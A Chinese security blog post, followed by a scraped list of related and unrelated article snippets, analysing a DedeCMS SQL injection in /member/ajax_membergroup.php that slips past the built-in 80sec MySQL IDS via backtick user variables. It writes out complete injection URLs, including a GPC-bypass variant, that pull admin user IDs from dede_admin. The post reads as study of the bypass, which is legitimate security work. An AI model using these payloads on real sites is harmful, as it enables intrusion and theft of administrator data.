自从知道dedecms自带了80sec的内置Mysqlids后,一直以来也没有想到绕过的办法。或者是自己mysql的根底太差了吧。于是分析dedecms源码时,只找模板执行,本地包含,上传等,完全没有想到注入存在的可能性了。
可以看看某牛的很久以前的分析

http://www.oldjun.com/blog/index.php/archives/66/(其中:80sec的内置Mysqlids可能的绕过方法)

之前也看过,感觉也是同意的。

但今天看到dede再暴漏洞,居然存在注入?

文章在这里:http://www.sa666.com/thread-25247-1-1.html

注入关键地方:/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'`

最终执行语句是:

SELECT groupname FROM dede_member_group WHERE mid = 0 AND id=@`\'`
Union select userid from `dede_admin` where 1 or id=@`\'` LIMIT 0,1;

关键是:@`'`  这个

一直以为 反引号 只用于字段表等特殊地方,但没想到还可以用于值的,于是就顺理绕过了IDS的检测,在IDS中变成:select
groupname from dede_member_group where mid = 0 and id=@`\$s$` limit 0,1。

如果执行:select * from table where id=`8` 会出错。

但执行:select * from table where id=@`8` 即正常,但没查出数据。

即这个值“@`8`”不是简单的值 8 那是什么值呢?

mysql> select @`8`;

+------+

| @`8` |

+------+

| NULL |

+------+

1 row in set (0.00 sec)

据我所知,这个@是由用户声明的局部变量。估计就是把整个值当为整个变量吧?

不知想法对不对。有对mysql了解的可以来解释一下。

至于有人说为什么会有些出现:Safe Alert: Request Error step 2!

这是由于dedecms的另一个问题了,这里就不多说,和GPC有关,可以下面语句绕过:

/member/ajax_membergroup.php?action=post&membergroup=@`\'` Union select userid from `%23@__admin` where 1 or id=@`\'`

IDS的防和绕过一直在斗争着。

在Discuz! 中,IDS也起到了很大作用,从前面的 /*!*/ 绕过和 union all等绕过,到现在的修复。

大家还有什么IDS的绕过技巧或案例可以分享的么?^-^

摘自:http://zone.wooyun.org/content/108

讨论下IDS的绕过的更多相关文章

  1. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  2. 最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下。

    最近研究了一个.NET的DHT网络搜索引擎,顺便重新整理了下引擎思路,供大家分享讨论下.

  3. 讨论下python中全局变量的使用

    首先看一段代码: A = 0 B = [0] def fun1(A, B): A += 1 B[0] += 1 fun1(A, B) print 'after fun1 %d %s' % (A,B) ...

  4. 第十一篇:Linux中权限的再讨论( 下 )

    前言 上篇随笔讲述了Linux中权限的大致实现机制以及目录权限的相关规则.本文将讲解Linux中的三种特殊权限:SUID,SGID,Sticky权限. 看完这两篇文章,你一定会对Linux的权限有个更 ...

  5. Linux 中权限的再讨论( 下 )

    前言 上篇随笔讲述了Linux中权限的大致实现机制以及目录权限的相关规则.本文将讲解Linux中的三种特殊权限:SUID,SGID,Sticky权限.看完这两篇文章,你一定会对Linux的权限有个更深 ...

  6. 讨论下茴香逗的茴字有几种写法,javascript字符串数组查找“indexOf"的替代方式。

  7. Kafka leader副本选举与消息丢失场景讨论

    如果某个broker挂了,leader副本在该broker上的分区就要重新进行leader选举.来简要描述下leader选举的过程 1.4.1 KafkaController会监听ZooKeeper的 ...

  8. CSRF绕过后端Referer校验

    CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过. 正常情况 正常的情况指服务器端校验Referer的代码没毛病 ...

  9. 【AutoMapper官方文档】DTO与Domin Model相互转换(下)

    写在前面 AutoMapper目录: [AutoMapper官方文档]DTO与Domin Model相互转换(上) [AutoMapper官方文档]DTO与Domin Model相互转换(中) [Au ...

随机推荐

  1. python分片

    刚刚学习,很新 >>> numbers = [1,2,3,4,5,6,7,8,9,10] >>> numbers[0:10:2] [1,3,5,7,9] >& ...

  2. Factory Girl使用

    1.使用Rspec,详见http://www.cnblogs.com/fanxiaopeng/p/3563772.html 2.在gemfile中添加 #Gemfile group :developm ...

  3. MIFARE系列2《非接触卡标准》

    根据信号发送和接收方式的不同,ISO/IEC14443-3定义了TYPEA.TYPEB两种卡型.它们的不同主要在于载波的调制深度及二进制数的编码方式.从读写机具向卡传送信号时,二者是通过13.56Mh ...

  4. oracle 11g 修改默认监听端口1521

    OS: Oracle Linux Server release 5.7 DB: Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - ...

  5. Virtual Box + CentOS Minimal + Apache搭建Web服务器

    本文并不介绍关于Virtual Box, CentOS, Apache的安装, 主要针对安装后相关的配置, 使宿主机(Host)可以访问客户机(Guest: CentOS in Virtual Box ...

  6. job不自动运行解决方法

    一.plsql.新建命令窗口 用查询语句: show parameter job_queue_processes 看看job_queue_processes的值 如果你的job很多那么将这个值设大,5 ...

  7. Windows Phone中使用Native Code

    前言      Windows Phone 8 SDK中一个非常有用的特性,就是可以通过Windows Phone Runtime Component (WinPRT)使用C++代码来处理运算量大的任 ...

  8. 35.在PCB中删除元件

    在PCB Editor里面,如果想进行什么操作,首先得点击这个命令,再点击你要操作的区域/元件,最后右键选择"Done",这样你才能完成一个操作.

  9. 不变性、协变性和逆变性(Invariance, Covariance & Contravariance)

    源码下载 一.里氏替换原则(Liskov Substitution Principle LSP) 我们要讲的不是协变性和逆变性(Covariance & Contravariance)吗?是的 ...

  10. vs2013中使用nuget下载cefsharp winform包

    cefsharp是chrome的一个开源项目,基于webkit的一个浏览器.下载cefsharp需要安装nuget.之后管理nuget程序包,联机搜索cef即可找到winform包.